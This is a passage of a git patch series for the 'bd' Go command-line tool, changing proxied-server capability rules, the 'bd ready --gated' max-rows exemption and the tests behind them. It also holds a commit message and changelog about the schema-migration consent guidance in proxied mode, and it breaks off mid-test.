than a gap. `bd create` is the only + // command that registers the flag, so it is the only command this rule can + // actually refuse; every other row for it must be notApplicable(), which is + // what TestProxyCapabilityRowsNameFlagsTheCommandRegisters enforces. repoRefusal = refused("proxy.repo.unsupported", "--repo is not supported with --proxied-server", ProxyReasonDesign, "") ) @@ -210,9 +211,16 @@ var proxyCapabilityMatrix = map[ProxyMode]map[ProxyCapability]proxyCapabilityRul // "ready", and the row records that the command has no --max-rows flag to // refuse. TestProxyCapabilityPolicyKeysResolveInRealCommandTree keeps the pin // honest by failing if the path it names stops existing. +// +// A row must describe a flag the command actually registers. `list`'s +// ProxyCapRepo is notApplicable() for that reason and not as a hedge: listCmd +// has no --repo flag (create.go:940 registers the only one), so `bd list --repo` +// dies in cobra as an unknown flag and a refusal row here would be policy no +// command line can reach. TestProxyCapabilityRowsNameFlagsTheCommandRegisters +// enforces both directions of that rule. var proxyCommandCapabilities = map[string]map[ProxyMode]map[ProxyCapability]proxyCapabilityRule{ "show": {ProxyModeProxied: {ProxyCapWatch: watchRefusal}}, - "list": {ProxyModeProxied: {ProxyCapWatch: honored(), ProxyCapMaxRows: honored(), ProxyCapRepo: repoRefusal}}, + "list": {ProxyModeProxied: {ProxyCapWatch: honored(), ProxyCapMaxRows: honored(), ProxyCapRepo: notApplicable()}}, "dep tree": {ProxyModeProxied: {ProxyCapMaxRows: honored()}}, "ready": {ProxyModeProxied: {ProxyCapMaxRows: maxRowsRefusal}}, "mol ready": {ProxyModeProxied: {ProxyCapMaxRows: notApplicable()}}, @@ -345,7 +353,7 @@ func validateProxyCapabilitiesBeforeProvider(cmd *cobra.Command) error { return HandleProxyCapabilityError(AssertProxyCommandCapability(path, ProxyModeProxied, ProxyCapWatch)) } } - if path == "ready" { + if path == "ready" && !readyGatedArm(cmd) { // --claim is NOT exempt. The proxied ready role cannot enforce a row // cap on either arm, and ready.go refuses a positive cap on both (see // its comment above rejectMaxRowsUnderProxiedServer) — so exempting @@ -353,6 +361,12 @@ func validateProxyCapabilitiesBeforeProvider(cmd *cobra.Command) error { // same refusal to an untyped one raised after the provider opened. // A malformed or negative value is still rejected here, before any // provider work, which is what the claim path gained. + // + // --gated IS exempt, and the guard sits on the branch rather than + // inside it so the arm skips the resolver too: the direct route never + // resolves a cap before dispatching --gated, so resolving one here + // would make a malformed or negative value fail on the proxied route + // alone. See readyGatedArm for why the arm takes no cap at all. maxRows, err := resolveMaxRowsQuiet(cmd) if err != nil { return err diff --git a/cmd/bd/proxy_capability_test.go b/cmd/bd/proxy_capability_test.go index 0e7cb81fa..e3c94d368 100644 --- a/cmd/bd/proxy_capability_test.go +++ b/cmd/bd/proxy_capability_test.go @@ -2,10 +2,8 @@ package main import ( "bytes" - "context" "encoding/json" "errors" - "io" "maps" "os" "slices" @@ -99,6 +97,96 @@ func TestProxyCapabilityPolicyKeysResolveInRealCommandTree(t *testing.T) { } } +// proxyCapabilityFlagNames records the command-line flag each capability +// governs. They happen to be the same strings as the capability constants, and +// this map exists so that stays a checked fact rather than a coincidence: a +// capability renamed away from its flag would turn the guard below into a +// no-op that still passes. +var proxyCapabilityFlagNames = map[ProxyCapability]string{ + ProxyCapReadonly: "readonly", + ProxyCapMaxRows: "max-rows", + ProxyCapWatch: "watch", + ProxyCapRepo: "repo", +} + +// commandAcceptsFlag reports whether this command would accept --name on a real +// command line, counting flags inherited from parents (--readonly is a root +// persistent flag) as well as locally registered ones. +func commandAcceptsFlag(cmd *cobra.Command, name string) bool { + if cmd.Flags().Lookup(name) != nil { + return true + } + return cmd.InheritedFlags().Lookup(name) != nil +} + +// TestProxyCapabilityRowsNameFlagsTheCommandRegisters is the flag-level half of +// the policy drift guard, and the sibling above is the reason it is needed: that +// one pins PATHS, so a row can name a command that genuinely exists and still +// describe a flag the command has never had. `bd list` carried a +// ProxyCapRepo: repoRefusal row promising a typed refusal for `bd list --repo`, +// which cobra rejects at parse time as an unknown flag — a policy row no command +// line could reach, plus a changelog contract no wrapper could observe. The path +// guard could not see it. +// +// The rule runs in both directions, because each direction is a different lie: +// +// - a refused/honored row says the command handles the flag, so the command +// must register it — otherwise the row is unreachable policy; +// - a notApplicable() row says the command has no such flag, so the command +// must NOT register it — otherwise a live flag is silently unpoliced, and +// the front door's command-keyed assert resolves it to "allowed". +func TestProxyCapabilityRowsNameFlagsTheCommandRegisters(t *testing.T) { + // Vacuity guard: a flag name that no command registers would let every + // "must not register" assertion below pass for the wrong reason. + registrars := map[string]int{} + var walk func(*cobra.Command) + walk = func(c *cobra.Command) { + for _, name := range proxyCapabilityFlagNames { + if c.Flags().Lookup(name) != nil { + registrars[name]++ + } + } + for _, child := range c.Commands() { + walk(child) + } + } + walk(rootCmd) + for capability, name := range proxyCapabilityFlagNames { + if capability == ProxyCapReadonly { + continue // root persistent flag; no command registers it locally + } + if registrars[name] == 0 { + t.Errorf("no command in the real tree registers --%s (capability %q); the flag name is stale", name, capability) + } + } + + for _, path := range slices.Sorted(maps.Keys(proxyCommandCapabilities)) { + cmd := realCommandAtPath(t, path) + for mode, capabilities := range proxyCommandCapabilities[path] { + for capability, rule := range capabilities { + name, ok := proxyCapabilityFlagNames[capability] + if !ok { + t.Errorf("proxyCommandCapabilities[%q][%s] uses capability %q with no recorded flag name; add one so this guard keeps covering it", + path, mode, capability) + continue + } + registered := commandAcceptsFlag(cmd, name) + if rule.Outcome == ProxyOutcomeNA { + if registered { + t.Errorf("proxyCommandCapabilities[%q][%s][%s] is notApplicable(), but `bd %s` accepts --%s; the row denies a flag the command has", + path, mode, capability, path, name) + } + continue + } + if !registered { + t.Errorf("proxyCommandCapabilities[%q][%s][%s] is %q, but `bd %s` accepts no --%s; no command line can reach this row", + path, mode, capability, rule.Outcome, path, name) + } + } + } + } +} + // TestProxyFrontDoorBranchesUseRealCommandPaths pins the command paths the // three front-door branches key on by hand: the two validators, plus the // skipsStoreInit route into validateProxyRegistryBeforeProvider in main.go. @@ -125,6 +213,7 @@ func TestProxyCapabilityFrontDoorAllowsSupportedCommands(t *testing.T) { t.Cleanup(func() { jsonOutput = oldJSON }) for _, tc := range []struct { path string + flags []string cappedEnv bool wantRefuse bool }{ @@ -139,11 +228,26 @@ func TestProxyCapabilityFrontDoorAllowsSupportedCommands(t *testing.T) { {path: "dep tree", cappedEnv: true}, {path: "compact"}, {path: "compact", cappedEnv: true}, + // `bd ready --gated` is the documented alias for the row above and runs + // the identical gate-resume scan, so a cap that leaves `bd mol ready + // --gated` alone must leave this spelling alone too. Keying the refusal + // on the command rather than the arm split one command line in half. + {path: "ready", flags: []string{"gated"}}, + {path: "ready", flags: []string{"gated"}, cappedEnv: true}, // `bd ready` is the command the max-rows refusal was written for, so // it must still refuse an active cap. {path: "ready", cappedEnv: true, wantRefuse: true}, + // ...on every arm that actually lists ready rows. --claim is not + // exempt, and neither is --gated in combination with it: that pair is a + // usage error rather than a gated run, so the claim arm keeps its + // refusal on every path into it. + {path: "ready", flags: []string{"claim"}, cappedEnv: true, wantRefuse: true}, + {path: "ready", flags: []string{"claim", "gated"}, cappedEnv: true, wantRefuse: true}, } { name := tc.path + for _, flag := range tc.flags { + name += " --" + flag + } if tc.cappedEnv { name += " with " + maxRowsEnvVar } @@ -154,6 +258,23 @@ func TestProxyCapabilityFrontDoorAllowsSupportedCommands(t *testing.T) { t.Setenv(maxRowsEnvVar, "") } cmd := realCommandAtPath(t, tc.path) + // These are the real commands off rootCmd, so a flag set here + // outlives the subtest unless it is put back. + for _, flagName := range tc.flags { + flag := cmd.Flags().Lookup(flagName) + if flag == nil { + t.Fatalf("bd %s has no --%s flag to set", tc.path, flagName) + } + if err := cmd.Flags().Set(flagName, "true"); err != nil { + t.Fatalf("set --%s on bd %s: %v", flagName, tc.path, err) + } + t.Cleanup(func() { + if err := flag.Value.Set(flag.DefValue); err != nil { + t.Errorf("restore --%s on bd %s: %v", flagName, tc.path, err) + } + flag.Changed = false + }) + } var err error stderr := captureStderr(t, func() { err = validateProxyCapabilitiesBeforeProvider(cmd) @@ -218,57 +339,88 @@ func TestProxyCapabilityRulesAlwaysCarryAMessage(t *testing.T) { } } -// TestListRepoRowMatchesShippedBehavior pins the row against the runtime -// refusal it is supposed to describe. The table documents itself as the -// deterministic audit source of truth, so a row that disagrees with the -// command is worse than an absent one. -func TestListRepoRowMatchesShippedBehavior(t *testing.T) { - err := AssertProxyCommandCapability("list", ProxyModeProxied, ProxyCapRepo) +// TestRepoRowsMatchShippedBehavior pins the --repo rows against the commands +// they describe, in both directions. The table documents itself as the +// deterministic audit source of truth, so a row that disagrees with the command +// is worse than an absent one — and that cuts the same way whether the +// disagreement over- or under-states the refusal. +func TestRepoRowsMatchShippedBehavior(t *testing.T) { + // `bd create --repo` is the reachable site: create.go registers the flag and + // the pre-provider gate asserts the mode-wide rule for it, so that rule must + // carry the documented message. + err := AssertProxyCapability(ProxyModeProxied, ProxyCapRepo) if err == nil { - t.Fatal("list --repo asserted nil; bd list --repo is refused under --proxied-server") + t.Fatal("--repo asserted nil; bd create --repo is refused under --proxied-server") } if got, want := err.Error(), "--repo is not supported with --proxied-server"; got != want { - t.Fatalf("list --repo refusal = %q, want %q", got, want) + t.Fatalf("--repo refusal = %q, want %q", got, want) + } + + // `bd list --repo` is NOT a reachable site: listCmd registers no --repo, so + // the row reads notApplicable() and a command-keyed assert must come back + // allowed. An earlier version of this test asserted the opposite — that the + // list row refuses — which pinned a promise no command line could collect, + // since cobra rejects `bd list --repo` as an unknown flag before any of this + // runs. + if err := AssertProxyCommandCapability("list", ProxyModeProxied, ProxyCapRepo); err != nil { + t.Fatalf("list --repo asserted %v; bd list has no --repo flag, so its row must be notApplicable()", err) } } -// TestListRepoProxiedRefusalIsStrictJSON pins the refusal's SHAPE, where the -// test above pins only its text. `bd list --repo` is the one --repo refusal -// the pre-provider gate does not shadow (it covers `create` only), so this -// call site is where the contract is actually observed — and a message-only -// assertion is exactly what let the site go untyped while the row still -// promised a code. A wrapper parsing --json must get the stable code and the -// mutates flag on stdout, and the error must still carry exit 1. -func TestListRepoProxiedRefusalIsStrictJSON(t *testing.T) { +// TestRepoProxiedRefusalIsStrictJSON pins the --repo refusal's SHAPE, where the +// test above pins only its text: a wrapper parsing --json must get the stable +// code and the mutates flag on stdout, and the error must still carry exit 1. +// +// It drives `bd create --repo` through the REAL command tree, and that is the +// whole point of the test. `bd create` is the only command that registers +// --repo (create.go), so its pre-provider gate is the only site a user can +// actually reach this refusal from. An earlier version of this test called +// runListProxiedServer directly with a hand-built listInput{repoOverrideSet: +// true} — which cannot happen, because listCmd has no --repo flag for cobra to +// mark Changed, and `bd list --repo` dies at parse time as an unknown flag. A +// direct-call assertion looks like coverage while proving nothing about any +// command line. +func TestRepoProxiedRefusalIsStrictJSON(t *testing.T) { oldJSON := jsonOutput jsonOutput = true t.Cleanup(func() { jsonOutput = oldJSON }) - root := &cobra.Command{Use: "bd"} - cmd := &cobra.Command{Use: "list"} - root.AddCommand(cmd) + cmd := realCommandAtPath(t, "create") + flag := cmd.Flags().Lookup("repo") + if flag == nil { + t.Fatal("bd create no longer registers --repo; the refusal has no reachable site") + } + if err := cmd.Flags().Set("repo", "/somewhere/else"); err != nil { + t.Fatalf("set --repo on bd create: %v", err) + } + t.Cleanup(func() { + if err := flag.Value.Set(flag.DefValue); err != nil { + t.Errorf("restore --repo on bd create: %v", err) + } + flag.Changed = false + }) var gotErr error out := captureStdout(t, func() error { - gotErr = runListProxiedServer(cmd, context.Background(), io.Discard, listInput{repoOverrideSet: true}) + gotErr = validateProxyCapabilitiesBeforeProvider(cmd) return nil }) if code, ok := exitCodeFromError(gotErr); !ok || code != 1 { - t.Fatalf("list --repo refusal exit = %v (typed=%v), want 1", code, ok) + t.Fatalf("create --repo refusal exit = %v (typed=%v), want 1", code, ok) } var got map[string]any if err := json.Unmarshal([]byte(out), &got); err != nil { - t.Fatalf("list --repo refusal is not JSON on stdout: %q (%v)", out, err) + t.Fatalf("create --repo refusal is not JSON on stdout: %q (%v)", out, err) } if got["code"] != "proxy.repo.unsupported" { - t.Fatalf("list --repo refusal code = %v, want proxy.repo.unsupported (out=%q)", got["code"], out) + t.Fatalf("create --repo refusal code = %v, want proxy.repo.unsupported (out=%q)", got["code"], out) } if got["error"] != "--repo is not supported with --proxied-server" { - t.Fatalf("list --repo refusal error = %v", got["error"]) + t.Fatalf("create --repo refusal error = %v", got["error"]) } if got["mutates"] != false { - t.Fatalf("list --repo refusal mutates = %v, want false", got["mutates"]) + t.Fatalf("create --repo refusal mutates = %v, want false", got["mutates"]) } } diff --git a/cmd/bd/ready.go b/cmd/bd/ready.go index 3ce949e80..0db46e794 100644 --- a/cmd/bd/ready.go +++ b/cmd/bd/ready.go @@ -64,7 +64,15 @@ This is useful for agents executing molecules to see which steps can run next.`, // this safety limit; malformed values remain usage errors. The // pre-provider front door refuses the same cap first, so this is // its backstop — both raise proxy.max_rows.unsupported. - if err := rejectMaxRowsUnderProxiedServer(cmd); err != nil { + // + // --gated is skipped here as well as at the front door, and it has + // to be skipped in both places: this backstop calls + // AssertProxyCapability with an empty command, so it always + // resolves the mode-wide refusal and cannot honor the + // command-specific allow the front door's path-keyed assert reads. + // Exempting only the front door would move the split from one + // refusal site to the other, not close it. + if err := rejectReadyMaxRowsUnderProxiedServer(cmd); err != nil { return err } return runReadyProxiedServer(cmd, rootCtx) @@ -271,6 +279,50 @@ This is useful for agents executing molecules to see which steps can run next.`, }, } +// readyGatedArm reports whether this `bd ready` invocation dispatches to the +// gate-resume arm — the same scan `bd mol ready --gated` runs, and the reason +// the row cap does not apply to it. Both proxied refusal sites call this, so +// the exemption cannot land on one and miss the other. +// +// The arm lists molecules whose gate closed, never ready rows: on the direct +// route --gated reaches runMolReadyGatedCore above any cap resolution, and on +// the proxied route runReadyProxiedGated discards its readyInput and calls the +// same findGateReadyMolecules as runMolReadyGatedProxiedServer. `mol ready`, +// the documented alias, carries a notApplicable() cap row for exactly that +// reason; keying the refusal on `bd ready` alone split one documented command +// line across its two spellings. +// +// --claim is excluded deliberately. `--claim --gated` is a usage error +// (gatherReadyInput), not a gated run, so the claim arm keeps the refusal it is +// owed on every code path and this exemption cannot reopen it. +func readyGatedArm(cmd *cobra.Command) bool { + if cmd == nil { + return false + } + if gated, _ := cmd.Flags().GetBool("gated"); !gated { + return false + } + claim, _ := cmd.Flags().GetBool("claim") + return !claim +} + +// rejectReadyMaxRowsUnderProxiedServer is `bd ready`'s in-RunE backstop for the +// row cap the proxied ready role cannot enforce. It exists as a named function +// rather than an inline `if` so the exemption is reachable from a unit test: +// the front door's half runs against the real command tree in +// TestProxyCapabilityFrontDoorAllowsSupportedCommands, but this half sits +// behind usesProxiedServer() and would otherwise be pinned only by the +// env-gated proxied e2e lane. +// +// Call it in place of rejectMaxRowsUnderProxiedServer on this command; every +// other capped command wants the unconditional form. +func rejectReadyMaxRowsUnderProxiedServer(cmd *cobra.Command) error { + if readyGatedArm(cmd) { + return nil + } + return rejectMaxRowsUnderProxiedServer(cmd) +} + // blockedFilterFromFlags builds the blocked-issue filter from blockedCmd's // flags. Both the direct and the proxied-server path call it, so the two // cannot drift as filtering flags are added. diff --git a/cmd/bd/ready_max_rows_proxied_test.go b/cmd/bd/ready_max_rows_proxied_test.go index 30a2faa12..7b30f1db2 100644 --- a/cmd/bd/ready_max_rows_proxied_test.go +++ b/cmd/bd/ready_max_rows_proxied_test.go @@ -76,6 +76,78 @@ func TestReadyRefusesMaxRowsUnderProxiedServerOnClaim(t *testing.T) { } } +// TestReadyGatedSkipsMaxRowsRefusalUnderProxiedServer pins the third arm. +// `bd ready --gated` and `bd mol ready --gated` are documented as the same +// gate-resume scan, and on the proxied route they literally are one: +// runReadyProxiedGated discards its readyInput and calls the same +// findGateReadyMolecules as runMolReadyGatedProxiedServer. Neither threads a +// row cap, so a cap must not refuse either spelling -- refusing only the +// `bd ready` one split a single documented command line in half for anyone +// with BEADS_MAX_ROWS exported. +// +// This goes through RunE rather than calling the helper, because RunE is where +// the second refusal site lives: the pre-provider front door is pinned +// separately against the real command tree in +// TestProxyCapabilityFrontDoorAllowsSupportedCommands, and exempting one site +// without the other just moves the refusal rather than removing it. +// +// The assertion is two-sided on purpose. A guard that swallowed the error +// entirely would pass a "no refusal" check alone, so the test also requires +// RunE to have reached the proxied dispatch -- uowProvider is nil here, so +// runReadyProxiedServer's own message is the proof it got that far. +func TestReadyGatedSkipsMaxRowsRefusalUnderProxiedServer(t *testing.T) { + pinProxiedServerMode(t) + pinJSONOutput(t, false) + + if uowProvider != nil { + t.Fatal("precondition: uowProvider must be nil so the dispatch cannot open a real proxied connection") + } + + for _, tc := range []struct { + name string + args []string + env string + }{ + {name: "flag", args: []string{"--gated", "--max-rows", "5"}}, + {name: "env", args: []string{"--gated"}, env: "5"}, + } { + t.Run(tc.name, func(t *testing.T) { + t.Setenv(maxRowsEnvVar, tc.env) + cmd := newReadyFlagsCommand(t, tc.args...) + + var err error + stderr := captureStderr(t, func() { err = readyCmd.RunE(cmd, nil) }) + + if strings.Contains(stderr, "--max-rows / BEADS_MAX_ROWS is not supported in proxied-server mode") { + t.Fatalf("proxied `bd ready %s` was refused for a cap the gated arm never uses: %q", + strings.Join(tc.args, " "), stderr) + } + if !strings.Contains(stderr, "proxied-server UOW provider not initialized") { + t.Fatalf("proxied `bd ready %s` did not reach the proxied dispatch: err=%v stderr=%q", + strings.Join(tc.args, " "), err, stderr) + } + }) + } +} + +// TestReadyClaimGatedKeepsMaxRowsRefusalUnderProxiedServer is the boundary of +// the exemption above. `--claim --gated` is a usage error rather than a gated +// run, so it must not pick up the gated arm's pass: the claim arm is the one +// invocation that mutates on the far side of this guard, and it keeps the +// refusal on every path into it. Without this, widening the exemption to a bare +// `--gated` check would look correct. +func TestReadyClaimGatedKeepsMaxRowsRefusalUnderProxiedServer(t *testing.T) { + pinProxiedServerMode(t) + pinJSONOutput(t, false) + t.Setenv(maxRowsEnvVar, "5") + + err := rejectReadyMaxRowsUnderProxiedServer(newReadyFlagsCommand(t, "--claim", "--gated")) + if err == nil { + t.Fatal("proxied `bd ready --claim --gated` under a live cap was allowed; want the refusal the claim arm is owed") + } + assertExitCode(t, err, 1) +} + // TestReadyClaimWithoutLiveCapIsNotRefusedUnderProxiedServer is the other half: // the refusal is conditioned on a live cap, not on --claim. Without it, a guard // that rejected every proxied --claim would pass the test above. From bb03a310a902adab77de312258b0a3d078e73f78 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Thu, 24 Sep 2026 03:46:42 -0700 Subject: [PATCH 072/624] fix(schema,uow): cover the proxied data-behind path and make its consent step runnable (post-merge #6659) (#6695) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(schema,uow): cover the proxied data-behind path and make its consent step runnable (post-merge #6659) Post-merge review of the landed range d0063ac..e1e1158 (PR #6659, the release/1.3.0 backport of #6658) raised two majors. Neither is a regression from that PR; both are gaps its surface left open. F-A — the uow/proxied path never reached the #6575 stop, and its blunt body prescribed the wedge. `doltSQLProvider.initSchema` passed a nil adopter to `CheckSharedStoreMigrateGate`, so `localDataBehind` short-circuited and routing could never emit `smartDataBehind`. A proxied store that was level on schema and behind in data reported `shared-store` instead, whose body is the designated-migrator recipe — `bd migrate --force` then `bd dolt push` — which in that state is exactly the #6368 wedge the stop exists to prevent. The refusal was always safe (the shared arm suppresses the auto-migrate either way); the guidance was not. Only `AheadBehind` is wired. It is the complete data-behind predicate, while leaving `IsStrictAncestor`/`WorkingSetClean` nil keeps `routeAdoptFastForward` false, so the remote-AHEAD arm on this path keeps the plain adopt directive it has today. `FastForward` stays nil: it is a write that would promote the schema for every co-resident client. The remedy also had to be topology-correct before it could be printed. `bd dolt pull` is refused at the proxied front door (`proxy.dolt_pull.unsupported`), as are `bd dolt push`, `bd migrate` and `bd conflicts` — so the body, agent directive and `options` now name the machine the pull runs on, and the option id becomes `pull-first-on-server-host`. The don't-force warning gains `BD_ALLOW_REMOTE_MIGRATE=1`, the one consent surface the proxy does not refuse. Read-only proxied opens print the pull-first block instead of the shared consent template. The proxied fact is the caller's, not the provider's: `newSQLServerUOWProvider` is also `bd serve`'s provider for SERVER-mode workspaces, where that pull works. A new `uow.WithProxiedServerMode()` is set only by `openProxiedServerUOWProvider`. F-B — the shared data-behind consent step named a verb that cannot unlock a remote-backed shared store. `sharedMigrateConsent` has one reader, `sharedNoRemoteGate`, reachable only on the `!hasRemote` branch; a data-behind stop has a remote by construction. The four surfaces now name `SharedConsentCommandForced` (`bd migrate schema --force`) with its `--global` twin, and the human/JSON `--global` retargets follow. Widening the verb consent to the remote-backed arm was rejected: it would drop the designated-migrator confirmation #4259 deliberately requires whenever a remote exists. This mirrors PR #6692, the main-line remediation for the same defect on #6658, so the two lines converge rather than diverge. Tests: the consent step is proven by EXECUTING its path (a text assertion on `Options()` is how the dead command shipped), with the bare verb as the counterfactual; the proxied route is driven through `initSchema` against a mocked behind-clone and asserts the body does not prescribe `bd migrate --force`; a server-mode open pins that it keeps the runnable-here remedy; a level clone pins that reading ancestry does not turn a genuine first-mover into a stop. Scope: the scorecard's two Required Changes only. Its non-gating items — F-C (`noticeSharedMigrateRefusal` lacks an `IsDataBehind()` branch), F-D (`warnRemoteSyncOpenRefusal` verbosity), F-E (`docs` not retargeted), F-F/F-G (stale comments) — are left for separate follow-ups. Co-Authored-By: Claude Opus 5 * fix(schema,cli): the proxied consent step is not refused — say so (post-merge #6659 iter 2) Post-merge review iteration 2 of PR #6695 found one major: the proxied data-behind guidance this PR added asserts that its own prescribed consent step, `bd migrate schema --force`, is refused at the proxied front door. It is not. The refusal table keys on the full command path. `proxyMaintenanceRefusals` registers the bare `migrate` verb and its hooks/issues/sync children, but has no `migrate schema` row, so the two-word path misses the lookup and `validateProxyMaintenanceBeforeProvider` falls through to nil. `bd migrate schema` then runs its proxied arm, which reports the migration the provider open already applied under that verb's consent. That makes the claim wrong in the unsafe direction: `forceOrEnvConsent` is read BEFORE the data-behind stop is routed, so an operator told "it is refused here anyway" who types it to confirm applies the migration to a data-behind shared store — the #6368 wedge, reachable from the exact topology this remediation was written for. The don't-force warning made it worse by presenting BD_ALLOW_REMOTE_MIGRATE=1 as the only consent surface this workspace can reach. Reworded to the truth on all five surfaces, and pinned so it cannot drift again: - dataBehindBody's proxied consent clause now says the step CAN be run here and that the precondition is temporal, not locational: run it only after the pull lands on the server host. - the proxied don't-force warning names `bd migrate schema --force` alongside BD_ALLOW_REMOTE_MIGRATE=1 as the two reachable consent surfaces, both honored before this stop is reached. - the consent option's When/Risk drop "bd migrate is refused in proxied-server mode" and say the pull-first half is load-bearing here because this one does NOT fail closed the way the pull does. - CHANGELOG drops "the one consent surface the proxy does not refuse". - the same false premise is corrected in the uow test comment. - TestProxyMaintenanceAllowsTheSharedConsentVerb resolves the command from SharedConsentCommandForced through the same cobra lookup the root pre-run uses, asserts validateProxyMaintenanceBeforeProvider returns nil for it, and keeps the bare `bd migrate` refusal (proxy.migrate.unsupported) as the counterfactual. No test called that function with this command before, which is why the false wording shipped green. Also the two non-gating consistency findings from the same iteration: - `--json` gate["expected"] carries the location qualifier when Proxied, so an expected-only reader is not handed a locally-refused command while options/hint carry it. Extracted to dataBehindExpectedField so the qualifier does not add a branch to handleRemoteMigrateGateJSON (cognitive stays 33, cyclomatic 18). - fallbackReasonNote's data-behind arm gates its remedy on Proxied; the note prints after the body, so unqualified it made the last paragraph prescribe what the paragraph above called refused. - smart_remote_migrate_gate.go's injection-site comment no longer says the shared UOW provider wires neither callback; it wires AheadBehind only. Tests: ./internal/storage/schema (full, ok), ./cmd/bd -run 'Migrate|Consent|Proxy|RemoteGate|DataBehind|SharedStore|RemoteSyncOpen' (ok), ./internal/storage/uow -run 'DataBehind|Proxied|MigrateGate' (ok). Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Claude Opus 5 --- CHANGELOG.md | 30 +- cmd/bd/main.go | 18 +- cmd/bd/proxy_capability_test.go | 70 +++++ cmd/bd/remote_migrate_gate.go | 44 ++- cmd/bd/remote_sync_open_test.go | 44 ++- cmd/bd/shared_migrate_consent_test.go | 163 +++++++++- cmd/bd/uow_factory.go | 7 + .../storage/schema/remote_migrate_gate.go | 179 ++++++++++- .../schema/smart_remote_migrate_gate.go | 8 +- .../schema/smart_remote_migrate_gate_test.go | 71 ++++- .../uow/data_behind_migrate_gate_test.go | 288 ++++++++++++++++++ internal/storage/uow/dolt_sql_provider.go | 81 ++++- 12 files changed, 959 insertions(+), 44 deletions(-) create mode 100644 internal/storage/uow/data_behind_migrate_gate_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 5734dd278..651478e16 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -228,8 +228,34 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 operator who can confirm every co-resident client is upgraded). On a shared Dolt sql-server the guidance carries #5920's consequence — migrating promotes the schema for every co-resident client, and clients still on an older bd - refuse the database until upgraded — and names the `bd migrate schema` - consent step the retry needs there. + refuse the database until upgraded — and names the consent step the retry + needs there: `bd migrate schema --force`. It is the forced form because this + stop always has a remote configured (behind-ness is read from the + remote-tracking ref), and the bare `bd migrate schema` consent is only read + for a shared database with *no* remote; the flag consents to migrating a + remote-backed shared store, and by then the pull has landed the commits the + clone was missing. + + **Proxied-server mode reaches the stop too, and is told where to run the + remedy.** The store-open gate on that path supplied no branch-position + callback, so a proxied clone that was level on schema and behind in data + could never be classified data-behind: it got the blunt shared-store refusal, + whose body is the designated-migrator recipe — `bd migrate --force` then + `bd dolt push` — which in this state is the wedge the stop exists to prevent. + It now routes to the same data-behind stop as every other topology. Because + `bd dolt pull` is refused at the proxied front door + (`proxy.dolt_pull.unsupported`), along with `bd dolt push`, the bare + `bd migrate` and `bd conflicts`, the guidance there names the machine the pull + has to run on rather than printing a command this binary rejects; the `--json` + option is `pull-first-on-server-host`, and `expected` carries the same + qualifier so a single-field reader is not handed a locally-refused command. + The shared-store consent step is the other way round: `bd migrate schema + --force` is *not* refused here — the refusal table keys on the command path + and has no `migrate schema` row — so the guidance says it can be run from this + workspace but only after the pull lands on the server host, and the warning + against forcing past the stop names it alongside `BD_ALLOW_REMOTE_MIGRATE=1` + as the two consent surfaces this topology can still reach. Read-only proxied + opens print the same pull-first block instead of the shared-consent template. Both existing workarounds keep working unchanged: `BD_SMART_GATE=0` opts out of the smart gate entirely (which means the blunt gate applies to `bd dolt diff --git a/cmd/bd/main.go b/cmd/bd/main.go index 1d2bbb6c1..5742c07ef 100644 --- a/cmd/bd/main.go +++ b/cmd/bd/main.go @@ -367,15 +367,27 @@ func isForcedMigrate(cmd *cobra.Command) bool { // open targets `beads_global`, so the block's `bd migrate schema` would // migrate the PROJECT database and leave the refusal in place — the working // remedy is the same verb with the same flag. -func printGlobalDatabaseConsentHint(w io.Writer) { +// +// It takes the refusal because "the same verb" is not the same verb on every +// arm: the #6575 data-behind stop on a shared store is remote-backed by +// construction, and there the bare verb's consent is never read (see +// schema.SharedConsentCommandForced), so retargeting the bare form would hand +// the operator a global-scoped command that still cannot succeed. This mirrors +// the retarget in handleRemoteMigrateGateJSON. A nil error keeps the +// pre-existing bare-verb wording. +func printGlobalDatabaseConsentHint(w io.Writer, e *schema.RemoteMigrateGateError) { if !globalFlag { return } + consent := schema.SharedConsentCommandGlobal + if e != nil && e.IsDataBehind() && e.Shared { + consent = schema.SharedConsentCommandForcedGlobal + } fmt.Fprintf(w, "\n This command targeted the global database (--global), so run the\n"+ " migrate step with the same flag:\n"+ " %s\n", - schema.SharedConsentCommandGlobal) + consent) } // renderTypedOpenError prints the actionable block for the store-open failures @@ -405,7 +417,7 @@ func renderTypedOpenError(err error) bool { handleRemoteMigrateGateJSON(gateErr) } else { fmt.Fprint(os.Stderr, gateErr.UserMessage()) - printGlobalDatabaseConsentHint(os.Stderr) + printGlobalDatabaseConsentHint(os.Stderr, gateErr) } return true } diff --git a/cmd/bd/proxy_capability_test.go b/cmd/bd/proxy_capability_test.go index 80308e292..54656af26 100644 --- a/cmd/bd/proxy_capability_test.go +++ b/cmd/bd/proxy_capability_test.go @@ -9,8 +9,78 @@ import ( "testing" "github.com/spf13/cobra" + + "github.com/steveyegge/beads/internal/storage/schema" ) +// TestProxyMaintenanceAllowsTheSharedConsentVerb pins the capability fact the +// #6575 proxied data-behind guidance is written against: the consent command +// that guidance prescribes is NOT refused at the proxied front door. +// +// The refusal table keys on the full command path. It has rows for the bare +// `migrate` verb and for `migrate hooks` / `migrate issues` / `migrate sync`, +// but none for `migrate schema` — so that path falls through +// validateProxyMaintenanceBeforeProvider's multi-word arm to `bd migrate +// schema`'s own proxied arm, which reports the migration the provider open +// already applied under this verb's consent. +// +// An earlier revision of that guidance asserted the opposite on three runtime +// surfaces and nothing failed, because no test called this function with this +// command. The wording is not cosmetic: forceOrEnvConsent honors `--force` +// BEFORE the data-behind stop is routed, so an operator told "it is refused +// here anyway" who types it to confirm takes the exact wedge the stop exists +// to prevent. +// +// The command is resolved from the constant the gate prescribes rather than +// retyped here, so drift on either side has to face this test. +func TestProxyMaintenanceAllowsTheSharedConsentVerb(t *testing.T) { + oldJSON := jsonOutput + jsonOutput = true + t.Cleanup(func() { jsonOutput = oldJSON }) + + args := strings.Fields(strings.TrimPrefix(schema.SharedConsentCommandForced, "bd ")) + target, _, err := rootCmd.Find(args) + if err != nil || target == rootCmd { + t.Fatalf("the gate prescribes %q, which does not resolve to a subcommand: %v", + schema.SharedConsentCommandForced, err) + } + path := strings.TrimSpace(strings.TrimPrefix(target.CommandPath(), rootCmd.Name())) + if path != "migrate schema" { + t.Fatalf("prescribed consent command resolves to path %q, want %q", path, "migrate schema") + } + + 